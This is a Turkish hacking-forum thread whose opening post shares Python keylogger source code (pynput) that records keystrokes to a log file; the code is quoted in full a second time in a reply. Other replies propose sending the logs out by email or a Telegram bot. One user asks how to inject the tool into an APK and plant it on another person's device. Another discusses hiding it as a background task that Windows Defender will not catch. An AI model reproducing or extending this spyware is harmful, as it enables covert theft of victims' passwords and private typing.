Python ile KeyL0GG€R v1.0

ATE$

Katılımcı Üye
9 Kas 2021
376
169
Siber Şubede geziyor.
Merhaba değerli insan :),
Bugün sizlere yaptığım keylogger'ı göstereceğim. İsteyen kodu kopyalayıp düzenleyebilir kendisine göre. Neyse, keylogger'a geçelim.
IDE'ye gelip verdiğim kodu yapıştıralım.
Python:
from pynput.keyboard import Key, Listener
import os

count = 0
keys = []
# Programın çalıştığı dizini al
working_dir = os.path.dirname(os.path.abspath(__file__))
log_file = os.path.join(working_dir, "log.txt")

def on_press(key):
    global count, keys
    count += 1
    keys.append(key)

    print("Tuş basıldı: {0}".format(key))

def write_file(keys):
    with open(log_file, "a") as file:
        for key in keys:
            k = str(key).replace("'", "")
            if k == 'Key.space':
                file.write('\n')
            elif k == 'Key.enter':
                file.write('[ENTER]\n')
            else:
                file.write(k + ' ')

    print("Dosya yazma tamamlandı.")

def on_release(key):
    if key == Key.esc:
        print("Program sonlandırılıyor...")
        print("Dosyaya yazılıyor...")
        count = 0
        keys = []
        write_file(keys)
        return False

print("Program başlatıldı...")
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
Kodumuzu çalıştıralım :)

Evet, kodumuzda bir sorun olmadığından çalıştı. Kullanıcı hangi tuşlara basar ise onları terminalde çıktı halinde gösterecek.
Şimdi "log.txt" dosyamıza bakalım.


Benim anlatacaklarım bu kadardı. İyi günler...
 

Carlonhack

Uzman üye
20 Şub 2022
1,333
11
338
Yani chatgpt ile yazılmış belliki.

Mesela logları bize mail ile gönderse nasıl olurdu?
 

Zilant

Ar-Ge Ekibi Asistanı
25 Tem 2021
208
1
199
Kazan Şehri - Tataristan
Yani chatgpt ile yazılmış belliki.

Mesela logları bize mail ile gönderse nasıl olurdu?
ChatGPT şu anda günümüz şartlarında bir gerçek ve kullanılmasında bir yanlış yok. Gelecekte yapay zekaları güzel kullanabilmek bizler için iyi bir nitelik olacağı da aşikar. Ama proje tabi basit düzeyde kalmış. v1.0 dediğine göre sanırım gelecek sürümleri de olacak. Mail ile gönderme, telegram botuyla entegre vb. gibi özellikler de eklersen Carlonhack'in dediği gibi daha güzel olur.
 

ATE$

Katılımcı Üye
9 Kas 2021
376
169
Siber Şubede geziyor.
ChatGPT şu anda günümüz şartlarında bir gerçek ve kullanılmasında bir yanlış yok. Gelecekte yapay zekaları güzel kullanabilmek bizler için iyi bir nitelik olacağı da aşikar. Ama proje tabi basit düzeyde kalmış. v1.0 dediğine göre sanırım gelecek sürümleri de olacak. Mail ile gönderme, telegram botuyla entegre vb. gibi özellikler de eklersen Carlonhack'in dediği gibi daha güzel olur.
Mail göndermeyi düşündüm.
 

e7emre

Yeni üye
29 Haz 2022
8
0
Bu yazılan kodu APK falan enjekte edebilir miyiz veya karşı kişiye falan yedirme ihtimalimiz olurmu çünkü çok güzel birşey rat benzeri bişi olursa harika olur ben uygulama yapıyorum bunu nasıl enjekte ederim bir fikrim yok karşı kişiye atınca da Python dan karşımıza direk klavyeden yazdıkları çıksa önümüze harika olur bunun için bir bilginiz varmı?
 

The VODKA

Uzman üye
8 Haz 2022
1,331
9
920
Merhaba değerli insan :),
Bugün sizlere yaptığım keylogger'ı göstereceğim. İsteyen kodu kopyalayıp düzenleyebilir kendisine göre. Neyse, keylogger'a geçelim.
IDE'ye gelip verdiğim kodu yapıştıralım.
Python:
from pynput.keyboard import Key, Listener
import os

count = 0
keys = []
# Programın çalıştığı dizini al
working_dir = os.path.dirname(os.path.abspath(__file__))
log_file = os.path.join(working_dir, "log.txt")

def on_press(key):
    global count, keys
    count += 1
    keys.append(key)

    print("Tuş basıldı: {0}".format(key))

def write_file(keys):
    with open(log_file, "a") as file:
        for key in keys:
            k = str(key).replace("'", "")
            if k == 'Key.space':
                file.write('\n')
            elif k == 'Key.enter':
                file.write('[ENTER]\n')
            else:
                file.write(k + ' ')

    print("Dosya yazma tamamlandı.")

def on_release(key):
    if key == Key.esc:
        print("Program sonlandırılıyor...")
        print("Dosyaya yazılıyor...")
        count = 0
        keys = []
        write_file(keys)
        return False

print("Program başlatıldı...")
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
Kodumuzu çalıştıralım :)

Evet, kodumuzda bir sorun olmadığından çalıştı. Kullanıcı hangi tuşlara basar ise onları terminalde çıktı halinde gösterecek.
Şimdi "log.txt" dosyamıza bakalım.


Benim anlatacaklarım bu kadardı. İyi günler...
Pekala herşey tamam peki Windows Görev Zamanlayıcısı zımbırtısını ayarlayıp arka planda otomatik başlatılmasını nasıl sağlayacağız? Python'un bu yetkiyi alabilmesi CMD konutlarından yararlanabilmesi gerekiyor ve bu da çok sağlıklı değil Defender tarafından kolay av oluyor. Python ile keylogger yazmak işe yarar mı bilmiyorum ancak çok sıkıntı. Bunun için C, C#, C++ gibi programlama dilleri bana daha mantıklı geliyor...
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.